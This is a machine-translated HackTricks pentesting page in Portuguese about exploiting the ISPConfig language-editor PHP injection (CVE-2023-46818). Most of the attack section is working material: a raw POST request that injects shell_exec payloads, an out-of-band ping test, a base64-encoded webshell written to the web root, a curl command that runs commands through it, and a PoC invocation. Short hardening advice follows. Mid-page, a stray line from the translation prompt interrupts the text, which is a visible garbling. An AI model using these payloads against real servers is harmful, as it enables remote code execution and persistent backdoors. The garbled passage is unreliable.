ISPConfig
Reading time: 5 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Visão Geral
ISPConfig é um painel de controle de hospedagem de código aberto. Versões mais antigas 3.2.x incluíam um recurso de editor de arquivo de idioma que, quando habilitado para o superadministrador, permitia injeção arbitrária de código PHP via um registro de tradução malformado. Isso pode resultar em RCE no contexto do servidor web e, dependendo de como o PHP é executado, escalonamento de privilégios.
Key default paths:
- Web root often at
/var/www/ispconfig
when served withphp -S
or via Apache/nginx. - Admin UI reachable on the HTTP(S) vhost (sometimes bound to localhost only; use SSH port-forward if needed).
Tip: If the panel is bound locally (e.g. 127.0.0.1:8080
), forward it:
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
Editor de idiomas PHP code injection (CVE-2023-46818)
- Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
- Preconditions:
- Login as the built-in superadmin account
admin
(other roles are not affected according to the vendor) - Language editor must be enabled:
admin_allow_langedit=yes
in/usr/local/ispconfig/security/security_settings.ini
- Impact: Authenticated admin can inject arbitrary PHP that is written into a language file and executed by the application, achieving RCE in the web context
References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
Fluxo de exploração manual
- Open/create a language file to obtain CSRF tokens
Envie um primeiro POST para inicializar o formulário e analisar os campos CSRF na resposta HTML (csrf_id
, csrf_key
). Exemplo de caminho de requisição: /admin/language_edit.php
.
- Inject PHP via records[] and save
Submeta um segundo POST incluindo os campos CSRF e um registro de tradução malicioso. Provas mínimas de execução de comandos:
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
Teste fora de banda (observar ICMP):
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
- Escrever arquivos e inserir um webshell
Use file_put_contents
para criar um arquivo sob um caminho acessível pela web (por exemplo, admin/
):
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
Então escreva um webshell simples usando base64 para evitar caracteres inválidos no POST body:
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
Por favor cole aqui o conteúdo do arquivo src/network-services-pentesting/pentesting-web/ispconfig.md para eu traduzir. Observação: não vou traduzir código, nomes de técnicas, palavras comuns de hacking, nomes de plataformas/cloud, a palavra "leak", pentesting, links, paths, tags ou refs — e manterei exatamente a mesma sintaxe markdown/html.
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
Se o PHP for executado como root (por exemplo, via php -S 127.0.0.1:8080
iniciado por root), isso resulta em root RCE imediato. Caso contrário, você obtém code execution como o usuário do servidor web.
Python PoC
Um exploit pronto para uso automatiza o manuseio de tokens e a entrega do payload:
Exemplo de execução:
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
Endurecimento
- Atualizar para 3.2.11p1 ou posterior
- Desative o editor de idiomas a menos que seja estritamente necessário:
admin_allow_langedit=no
- Evite executar o painel como root; configure o PHP-FPM ou o servidor web para reduzir privilégios
- Exigir autenticação forte para a conta
admin
integrada
Referências
- ISPConfig 3.2.11p1 Released (fixes language editor code injection)
- CVE-2023-46818 – NVD
- bipbopbup/CVE-2023-46818-python-exploit
- HTB Nocturnal: Root via ISPConfig language editor RCE
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.